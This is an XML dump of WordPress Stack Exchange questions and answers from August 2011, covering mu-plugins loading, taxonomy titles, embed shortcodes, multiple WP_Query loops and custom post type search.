  <row Id="26336" PostTypeId="2" ParentId="26328" CreationDate="2011-08-19T13:30:55.163" Score="0" ViewCount="" Body="&lt;p&gt;in the link tag of course:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;link title&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it is &lt;code&gt;_blank&lt;/code&gt; and not &lt;code&gt;blank_&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2011-08-19T13:30:55.163" CommentCount="1" />
  <row Id="26337" PostTypeId="1" AcceptedAnswerId="26339" CreationDate="2011-08-19T13:41:11.597" Score="0" ViewCount="16" Body="&lt;p&gt;I'm trying to load plugins automatically by putting the plugins into &lt;code&gt;mu-plugins&lt;/code&gt; folder. But if the plugin is put in a folder, it isn't loaded. I tried some popular plugins such as W3 Total Cache, WordPress SEO By Yoast, but all of them are not loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does WordPress only loads plugins which are just single files in &lt;code&gt;mu-plugins&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-08-19T14:24:20.547" Title="Plugins in mu-plugins folder are not loaded" Tags="&lt;mu-plugins&gt;" AnswerCount="1" />
  <row Id="26338" PostTypeId="2" ParentId="26277" CreationDate="2011-08-19T13:57:04.157" Score="0" ViewCount="" Body="&lt;p&gt;So I ended up finding a bit of a workaround that works as a solution for this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dump the existing database and download the .sql file&lt;/li&gt;&#xA;&lt;li&gt;Create an entirely new Wordpress installation on your host - go through all the steps including creating a database (Let's call it Database A)&lt;/li&gt;&#xA;&lt;li&gt;Create a new, empty database (Let's call it Database B) in addition to the one created for your new WP install - &lt;strong&gt;&lt;em&gt;this is critical, because of the differences in versions, you cannot simply upload the existing .sql data into the new version database&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Import your existing data into Database B&lt;/li&gt;&#xA;&lt;li&gt;By default, your WP-Config will be pointed at Database A, modify it to be pointing at Database B&lt;/li&gt;&#xA;&lt;li&gt;Goto your site's admin (example.com/wp-admin) and login - you will be presented with the ability to upgrade your database to the current version structure&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Voila!&lt;/p&gt;&#xA;" OwnerUserId="8012" LastActivityDate="2011-08-19T13:57:04.157" />
  <row Id="26339" PostTypeId="2" ParentId="26337" CreationDate="2011-08-19T14:06:13.010" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does WordPress only loads plugins which are just single files in&#xA;  mu-plugins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, they do not need to be single files but you cannot use plugins in their own subfolders as in the standard &lt;code&gt;plugins/&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The main plugin file&lt;/strong&gt; (one with the specified plugin header info) &lt;strong&gt;has to be right there in&lt;/strong&gt; &lt;code&gt;mu-plugins/&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt; Other files can be put in a subfolder and referenced from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used it with my own plugins. I've never tried moving any robust plugin in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that not all plugins are &lt;em&gt;must-use-compatible&lt;/em&gt;&lt;br&gt;&#xA;see &lt;a href=&quot;http://codex.wordpress.org/Must_Use_Plugins#Caveats&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Must_Use_Plugins#Caveats&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-08-19T14:24:20.547" LastActivityDate="2011-08-19T14:24:20.547" />
  <row Id="26340" PostTypeId="1" CreationDate="2011-08-19T14:07:52.653" Score="0" ViewCount="15" Body="&lt;p&gt;dI have a new child theme which I am using for all the pages on our site which are contained in WordPress. We however have a bespoke product catalogue which, for now, is easier to keep separate. I do want them to have the same look and feel though as our Thematic child theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The non-WordPress page all start with the following PHP: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_USE_THEMES', false);&#xA;require('../pg/wp-blog-header.php');&#xA;$wp-&amp;gt;init();&#xA;$wp-&amp;gt;parse_request();&#xA;$wp-&amp;gt;query_posts();&#xA;$wp-&amp;gt;register_globals();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works quite well but the asides/widgets do not show up? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried setting &lt;code&gt;define('WP_USE_THEMES', true);&lt;/code&gt; but this unfortunately rewrites the URL to the &lt;code&gt;/pg/&lt;/code&gt; sub-dir where WP resides and the non-wordpress pages live in the root, resulting in a 404 error.&lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2011-08-19T14:07:52.653" Title="Thematic and Non-Wordpress Pages" Tags="&lt;widgets&gt;&lt;page&gt;&lt;pages&gt;" />
  <row Id="26341" PostTypeId="2" ParentId="22175" CreationDate="2011-08-19T14:18:21.597" Score="1" ViewCount="" Body="&lt;p&gt;If you have a post type that doesn't have the editor, uploading media in that post type will cause it to not have an &quot;Insert into Post&quot; button. Not sure if that's your situation, but personal experience says that could be the reason :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would definitely disable all plugins and switch to a default theme first to see if one of those is causing a conflict. Absolutely do not modify the core.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-19T14:18:21.597" CommentCount="1" />
  <row Id="26342" PostTypeId="1" CreationDate="2011-08-19T14:22:52.373" Score="1" ViewCount="21" Body="&lt;p&gt;I have a very specific use case where the site built for a lawyer and each of his clients can login to their own 'specific page/portal' (custom post type) without the ability to access wp-admin etc. (I created all the login/register/profile-editing pages in the front end). In this page/portal the lawyer will leave messages and &lt;strong&gt;files for the client to download&lt;/strong&gt;, now theoretically speaking, one client can guess (or if has knowledge of another client's files) other file names and download then thus creating an issue with privacy/security/confidential material etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for ideas/concepts for a solution, my initial thought was to have the download link point to some download.php sending the attachment id, user id, page/portal id and nonce and the on the other end processing that..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what do you think? am I on the right track or this approach is flawed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2011-08-19T14:22:52.373" Title="How to restrict attachment download to a specific user?" Tags="&lt;user-access&gt;&lt;content-restriction&gt;" FavoriteCount="2" />
  <row Id="26344" PostTypeId="2" ParentId="26335" CreationDate="2011-08-19T14:50:16.780" Score="0" ViewCount="" Body="&lt;p&gt;Can you be a little more specific on which part is 'leaking' into the body? It's hard to tell without running any code and having other parts of the theme to look at.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2011-08-19T14:50:16.780" CommentCount="1" />
  <row Id="26345" PostTypeId="1" CreationDate="2011-08-19T14:50:59.023" Score="0" ViewCount="39" Body="&lt;p&gt;Trying to add custom taxonomy to the title tag as well, it will go - &#xA;&quot; post title, custom field, custom taxonomy | blogname &quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could help with the proper syntax here it would be great, I've tried&#xA;get_query_var('taxonomy'); but nothing shows up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php&#xA;/*&#xA; * Print the &amp;lt;title&amp;gt; tag based on what is being viewed.&#xA; */&#xA;global $page, $paged;&#xA;&#xA;wp_title( '', true, 'right' );&#xA;&#xA;// manufacturer custom field&#xA;$manufacturer = get_post_meta($post-&amp;gt;ID, 'manufacturer', true);&#xA;    if ($manufacturer) { echo $manufacturer; }&#xA;&#xA;//Custom Taxonomy&#xA;get_query_var('taxonomy');&#xA;&#xA;// Add the blog name.&#xA;?&amp;gt; | &amp;lt;?php bloginfo( 'name' );&#xA;&#xA;// Add the blog description for the home/front page.&#xA;$site_description = get_bloginfo( 'description', 'display' );&#xA;if ( $site_description &amp;amp;&amp;amp; ( is_home() || is_front_page() ) )&#xA;    echo &quot; | $site_description&quot;;&#xA;&#xA;// Add a page number if necessary:&#xA;if ( $paged &amp;gt;= 2 || $page &amp;gt;= 2 )&#xA;    echo ' | ' . sprintf( __( 'Page %s', 'ms_base' ), max( $paged, $page ) );&#xA;&#xA;?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Found the answer over here: &lt;a href=&quot;http://stackoverflow.com/questions/2805879/wordpress-taxonomy-title-output&quot;&gt;http://stackoverflow.com/questions/2805879/wordpress-taxonomy-title-output&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_tax()) {&#xA;$term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );&#xA;$term_title = $term-&amp;gt;name;&#xA;echo &quot;$term_title | &quot;;&#xA;} else {&#xA;  wp_title( '|', true, 'right' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2837" LastEditorUserId="2837" LastEditorDisplayName="" LastEditDate="2011-08-19T20:04:07.627" LastActivityDate="2011-08-19T20:04:07.627" Title="How to add custom taxonomy to Title Tag?" Tags="&lt;tags&gt;&lt;title&gt;" CommentCount="3" />
  <row Id="26346" PostTypeId="1" CreationDate="2011-08-19T14:58:21.967" Score="0" ViewCount="24" Body="&lt;p&gt;Sorry I'm new to taxonomies &amp;amp; trying to learn quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up sectors and assigned a post to it. If I go to the post, I can see the URL has&#xA;www.mydomain.com/sectors/auto/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get auto from the URL?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8006" LastActivityDate="2011-08-19T17:17:02.210" Title="Get taxonomy slug from url" Tags="&lt;urls&gt;&lt;slug&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26347" PostTypeId="1" CreationDate="2011-08-19T14:59:04.807" Score="1" ViewCount="33" Body="&lt;p&gt;I'm trying to create a reference registration system in Wordpress. The idea is that the user will click a link which will contain wp-login.php?action=register&amp;amp;ref=12345&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hooking into the 'register_form' action hook and adding a reference number hidden input and on registration use that reference number to do whatever i need to do with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue appears when the user gets something wrong in the registration form. The problem is that he will be taken to wherever the action attribute of the register form states which is &quot;wp-login.php?action=register&quot; without the ref parameter. I'm looking for a way to modify that action attribute. I've looked in the wp-login.php file and it seems that there's no filter there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there's always javascript, but is there another wordpressy way to do this?  &lt;/p&gt;&#xA;" OwnerUserId="8036" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-08-19T17:48:58.967" LastActivityDate="2011-08-19T17:48:58.967" Title="How to modify the action attribute of the wp-login.php?action=register form?" Tags="&lt;login&gt;&lt;form&gt;&lt;actions&gt;&lt;modifications&gt;&lt;register&gt;" CommentCount="1" />
  <row Id="26348" PostTypeId="2" ParentId="17745" CreationDate="2011-08-19T15:00:54.780" Score="0" ViewCount="" Body="&lt;p&gt;You can create two separate loops with pagination - and place them in side by side div containers - with pagination links inside each div.  You would include the pagination links in each div, because you might have more of one post type then the other, and therefor more pages than the other.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The columns will paginate together unless you use ajax javascript to refresh the content of the div's independently - in which case you'll have to pass the correct relative page number in your call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the ajax, with separate columns of post types paging in tandem, your template would look like this (untested code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA; Template Name: Side-by-Side Paginated Custom Post Types&#xA;*/&#xA;  global $query_string;&#xA;  global $wp_query;&#xA;&#xA;  get_header(); &#xA;&#xA;  $myquery = wp_parse_args($query_string);&#xA;  $myquery['tax_query'] = $wp_query-&amp;gt;tax_query;&#xA;&#xA;  echo '&amp;lt;div id=&quot;container&quot;&amp;gt;';&#xA;&#xA;    // Work whether query var is page or paged&#xA;    if ( get_query_var('paged') ) &#xA;      { $paged = get_query_var('paged'); }&#xA;    elseif ( get_query_var('page') ) &#xA;      { $paged = get_query_var('page');&#xA;    } else &#xA;      { $paged = 1; }&#xA;&#xA;    $myquery['post_status']  = 'publish';&#xA;    $myquery['paged']        = '.$paged';&#xA;&#xA;    // Create Page Heading, including each term from the query&#xA;    // Allows for advanced tax query with more than one taxonomy term, such as News and Events in the same query&#xA;&#xA;    foreach ($wp_query-&amp;gt;tax_query-&amp;gt;queries as $taxterm) {&#xA;     if ('your_taxonomy' == $taxterm['taxonomy']) {&#xA;&#xA;       $last_term = end( array_keys( $taxterm['terms'] ) ); // Mark the last topic&#xA;&#xA;         echo &quot;&amp;lt;h1&amp;gt;&quot;;&#xA;         foreach ($taxterm['terms'] as $k =&amp;gt; $termid) {&#xA;           $termobj = get_term_by( $taxterm['field'], $termid, $taxterm['taxonomy'] );&#xA;           echo $termobj-&amp;gt;name;&#xA;           if ( $k !== $last_term ) echo ' &amp;amp;amp; ';&#xA;         }&#xA;         echo &quot;&amp;lt;/h1&amp;gt;&quot;;&#xA;     }&#xA;    }&#xA;&#xA;    echo '&amp;lt;div class=&quot;left-column&quot;&amp;gt;'; &#xA;&#xA;      $myquery['post_type']    = 'your_cpt_1';&#xA;&#xA;      echo '&amp;lt;h2 class=&quot;sec1 title&quot;&amp;gt;Custom Posts 1&amp;lt;/h2&amp;gt;';&#xA;      // Query&#xA;      $myquery = new WP_query( $args );&#xA;        if ( $myquery-&amp;gt;have_posts() ) : while ( $myquery-&amp;gt;have_posts() ) : $myquery-&amp;gt;the_post(); &#xA;&#xA;      get_template_part( 'content', 'your_cpt_1' );&#xA;&#xA;      endwhile; else :&#xA;      endif;&#xA;&#xA;      echo '&amp;lt;div class=&quot;pagination&quot;&amp;gt;';&#xA;        echo '&amp;lt;div class=&quot;alignleft&quot;&amp;gt;'; previous_posts_link('Previous'); echo '&amp;lt;/div&amp;gt;';&#xA;        echo '&amp;lt;div class=&quot;alignright&quot;&amp;gt;'; next_posts_link('Next'); echo '&amp;lt;/div&amp;gt;';&#xA;      echo '&amp;lt;/div&amp;gt; &amp;lt;!-- end pagination --&amp;gt;';&#xA;&#xA;      wp_reset_postdata();      &#xA;&#xA;    echo '&amp;lt;/div&amp;gt; &amp;lt;!-- div class=&quot;left-column&quot; --&amp;gt;'; &#xA;&#xA;    echo '&amp;lt;div class=&quot;right-column&quot;&amp;gt;'; &#xA;&#xA;      $myquery['post_type']    = 'your_cpt_2';&#xA;      echo '&amp;lt;h2 class=&quot;sec1 title&quot;&amp;gt;Custom Posts 2&amp;lt;/h2&amp;gt;';&#xA;      // Query&#xA;      $myquery = new WP_query( $args );&#xA;        if ( $myquery-&amp;gt;have_posts() ) : while ( $myquery-&amp;gt;have_posts() ) : $myquery-&amp;gt;the_post(); &#xA;&#xA;      get_template_part( 'content', 'your_cpt_2' );&#xA;&#xA;      endwhile; else :&#xA;      endif;&#xA;&#xA;      echo '&amp;lt;div class=&quot;pagination&quot;&amp;gt;';&#xA;        echo '&amp;lt;div class=&quot;alignleft&quot;&amp;gt;'; previous_posts_link('Previous'); echo '&amp;lt;/div&amp;gt;';&#xA;        echo '&amp;lt;div class=&quot;alignright&quot;&amp;gt;'; next_posts_link('Next'); echo '&amp;lt;/div&amp;gt;';&#xA;      echo '&amp;lt;/div&amp;gt; &amp;lt;!-- end pagination --&amp;gt;';&#xA;&#xA;      wp_reset_postdata();      &#xA;    echo '&amp;lt;/div&amp;gt; &amp;lt;!-- div class=&quot;right-column&quot; --&amp;gt;'; &#xA;&#xA;  echo '&amp;lt;/div&amp;gt; &amp;lt;!-- div id=&quot;container&quot; --&amp;gt;'; &#xA;&#xA;get_footer();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-19T15:10:07.090" LastActivityDate="2011-08-19T15:10:07.090" />
  <row Id="26349" PostTypeId="2" ParentId="26346" CreationDate="2011-08-19T15:43:49.540" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sector = get_queried_object()-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-08-19T15:43:49.540" />
  <row Id="26350" PostTypeId="1" CreationDate="2011-08-19T15:55:42.353" Score="0" ViewCount="13" Body="&lt;p&gt;WordPress autmatically embeds a youtube video's if I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[embed] http://www.youtube.com/watch?v=Xog1T5dUxcw [/embed ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is great, but it doesn't work if I use it in an template file. I have a custom field where the admin can put a URL to a YouTube video. I want get the video in the sinle-post using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $url = $custom['_videoLink'][0];&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;video&quot;&amp;gt;&#xA;  [embed]&amp;lt;?php $url; ?&amp;gt;[/embed]&#xA;&amp;lt;/video&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i convert the Youtube URL into an embed URL using the standard WordPress [embed] function?&lt;/p&gt;&#xA;" OwnerUserId="8015" LastActivityDate="2011-08-19T16:33:25.470" Title="Use [embed] filter in template files" Tags="&lt;template&gt;&lt;embed&gt;&lt;youtube&gt;" AnswerCount="1" />
  <row Id="26351" PostTypeId="1" CreationDate="2011-08-19T16:18:19.287" Score="0" ViewCount="15" Body="&lt;p&gt;Is there a way to get a list of all the URLs for audio files in a WordPress.com site? We are creating links and players for them and having to do it one by one with the slow WordPress.com dialog is too slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we are building is this: &lt;a href=&quot;http://sandrafernandez.wordpress.com/musica/amor-cosmico/&quot; rel=&quot;nofollow&quot;&gt;http://sandrafernandez.wordpress.com/musica/amor-cosmico/&lt;/a&gt; except that other pages have many more tracks than those.&lt;/p&gt;&#xA;" OwnerUserId="7928" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-08-19T16:41:07.073" LastActivityDate="2011-08-19T16:41:07.073" Title="Get list of all media files URLs?" Tags="&lt;wordpress.com&gt;&lt;list&gt;&lt;audio&gt;" />
  <row Id="26352" PostTypeId="1" CreationDate="2011-08-19T16:19:52.350" Score="1" ViewCount="37" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/google-custom-search/&quot; rel=&quot;nofollow&quot;&gt;Google Custom Search&lt;/a&gt; plugin by edwinkwan (the first that appears in the wordpress plugin repository).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the search box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php display_search_box(DISPLAY_RESULTS_CUSTOM); ?&amp;gt;&lt;/code&gt; in the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php display_gsc_results(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alexchen.info/taiwantalk/search-results&quot; rel=&quot;nofollow&quot;&gt;http://alexchen.info/taiwantalk/search-results&lt;/a&gt;&#xA;(Which is a tempalte called &lt;code&gt;search-results.php&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I can only see the results if I perform a search in that page (with the search box in the header). If I just search for something, for example, in the front page, absolutely nothing happens.&#xA;For instance, If I perform search from: &lt;strong&gt;alexchen.info/taiwantalk&lt;/strong&gt;&#xA;Nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find anything like: &quot;the search results page&quot; in my Google Custom Search Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently the Custom Google Search is working but the search is not being redirected to &lt;code&gt;search-results.php&lt;/code&gt; when I perform a search in any other page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA; I also tried this plugin: &lt;strong&gt;wordpress.org/extend/plugins/google-custom-search-for-wordpress/&lt;/strong&gt; but it seem to be based on the code of Google Custom Search of 2010. It requires you to get two pieces of code (the search box and the search results). But Google Custom Search's Panel only provides one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;cse&quot; style=&quot;width: 100%;&quot;&amp;gt;Loading&amp;lt;/div&amp;gt;&#xA;&amp;lt;script src=&quot;http://www.google.com/jsapi&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;  google.load('search', '1', {language : 'en'});&#xA;  google.setOnLoadCallback(function() {&#xA;    var customSearchControl = new google.search.CustomSearchControl('018208799159621054256:jivnd4spmig');&#xA;    customSearchControl.setResultSetSize(google.search.Search.FILTERED_CSE_RESULTSET);&#xA;    customSearchControl.draw('cse');&#xA;  }, true);&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;http://www.google.com/cse/style/look/default.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7902" LastEditorUserId="7902" LastEditorDisplayName="" LastEditDate="2011-08-19T17:41:09.860" LastActivityDate="2011-08-19T17:41:09.860" Title="How to redirect a Custom Google Search to a wordpress page/template?" Tags="&lt;plugins&gt;&lt;google-search&gt;" CommentCount="2" />
  <row Id="26353" PostTypeId="2" ParentId="26350" CreationDate="2011-08-19T16:33:25.470" Score="0" ViewCount="" Body="&lt;p&gt;Normally you have to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;do_shortcode&lt;/a&gt; in a template to place a shortcode outside of the content, however, I've had trouble with the embed shortcode specifically and could not make it work that way. I found this solution which works, but maybe there's a way to do this with do_shortcode and I've missed something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$custom = get_post_custom($post-&amp;gt;ID);&#xA;$url = $custom['_videoLink'][0];&#xA;if($url):&#xA;    $shortcode = '[embed]'.$url.'[/embed]';&#xA;    global $wp_embed;&#xA;    echo $wp_embed-&amp;gt;run_shortcode($shortcode);&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-19T16:33:25.470" CommentCount="1" />
  <row Id="26354" PostTypeId="1" AcceptedAnswerId="26356" CreationDate="2011-08-19T16:34:40.943" Score="0" ViewCount="25" Body="&lt;p&gt;I am building a custom wordpress theme from a clients mockup. On the homepage there are 2 sliders, and 4-5 areas for recent posts of different types. I would like to have all the content be editable in wordpress what is the best way to create a post, apply some sortof value to it (category,taxonomy,tag,custom post type), and then retrieve more than one loop on a single page or is it best to use feeds? Any suggestions greatly appreciated &lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2011-08-19T17:34:46.773" Title="Best Practice for Displaying Categorized Posts on Front Page" Tags="&lt;customization&gt;&lt;frontpage&gt;" AnswerCount="2" />
  <row Id="26355" PostTypeId="2" ParentId="1567" CreationDate="2011-08-19T16:37:55.100" Score="0" ViewCount="" Body="&lt;h2&gt;Disable browser upgrade warning in wordpress 3.2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/cueRk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Disable browser upgrade warning in wordpress 3.2&#xA;function disable_browser_upgrade_warning() {&#xA;    remove_meta_box( 'dashboard_browser_nag', 'dashboard', 'normal' );&#xA;}&#xA;add_action( 'wp_dashboard_setup', 'disable_browser_upgrade_warning' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-19T16:37:55.100" CommunityOwnedDate="2011-08-19T16:37:55.100" CommentCount="3" />
  <row Id="26356" PostTypeId="2" ParentId="26354" CreationDate="2011-08-19T17:10:14.660" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt; in your template to select groups of posts by type, category, tag, custom taxonomy, meta field, etc., and create additional loops:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;$news = new WP_Query(&quot;post_type=mynews&amp;amp;posts_per_page=1&quot;);&#xA;while($news-&amp;gt;have_posts()) : $news-&amp;gt;the_post();&#xA;    the_title();&#xA;endwhile;&#xA;&#xA;$events = new WP_Query(&quot;cat=2&amp;amp;posts_per_page=3&quot;);&#xA;while($events-&amp;gt;have_posts()) : $events-&amp;gt;the_post();&#xA;    the_title();&#xA;endwhile;&#xA;&#xA;// etc..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's up to you how to best organize your content in a way that makes sense as far as how you use your taxonomies and types.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-19T17:10:14.660" />
  <row Id="26357" PostTypeId="2" ParentId="26346" CreationDate="2011-08-19T17:17:02.210" Score="2" ViewCount="" Body="&lt;p&gt;I think you are looking for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_query_var&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_query_var&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term_slug = get_query_var( 'term' );&#xA;$taxonomyName = get_query_var( 'taxonomy' );&#xA;$current_term = get_term_by( 'slug', $term_slug, $taxonomyName );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-19T17:17:02.210" />
  <row Id="26358" PostTypeId="2" ParentId="26354" CreationDate="2011-08-19T17:34:46.773" Score="0" ViewCount="" Body="&lt;p&gt;I agree with Milo.  Personally, I would create custom post types (see Justin Tadlock's page for starters: &lt;a href=&quot;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&lt;/a&gt;)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can create different loops and queries in whatever format you're comfortable with and display content from different areas wherever you require.  Alternatively if the content is very similar, you can just create different categories and instruct your client that Category X posts are for the 1st slider, Category Y posts go to the recent news, etc.&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-08-19T17:34:46.773" />
  <row Id="26359" PostTypeId="1" CreationDate="2011-08-19T18:01:08.097" Score="0" ViewCount="37" Body="&lt;p&gt;I placed the following code into my &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_search($query) {&#xA;    if ($query-&amp;gt;is_search) {&#xA;    $query-&amp;gt;set('post_type', array('topic', 'reply'));&#xA;    };&#xA;    return $query;&#xA;};&#xA;add_filter('pre_get_posts', 'filter_search');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With that code I can only search for the &lt;code&gt;reply&lt;/code&gt; custom post type (results with the &lt;code&gt;topic&lt;/code&gt; custom post type don't show up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are custom post types from the &lt;a href=&quot;http://wordpress.org/extend/plugins/bbpress/&quot; rel=&quot;nofollow&quot;&gt;bbpress 2.0 plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$query-&amp;gt;set('post_type', array('topic'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in order to make the &lt;code&gt;topic&lt;/code&gt; custom post type show up (but them I no longer get the &lt;code&gt;reply&lt;/code&gt; custom post type to show up in the results).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to fix this?&lt;/p&gt;&#xA;" OwnerUserId="7902" LastActivityDate="2011-08-19T19:03:33.673" Title="Can't place two custom post types into the Wordpress search query?" 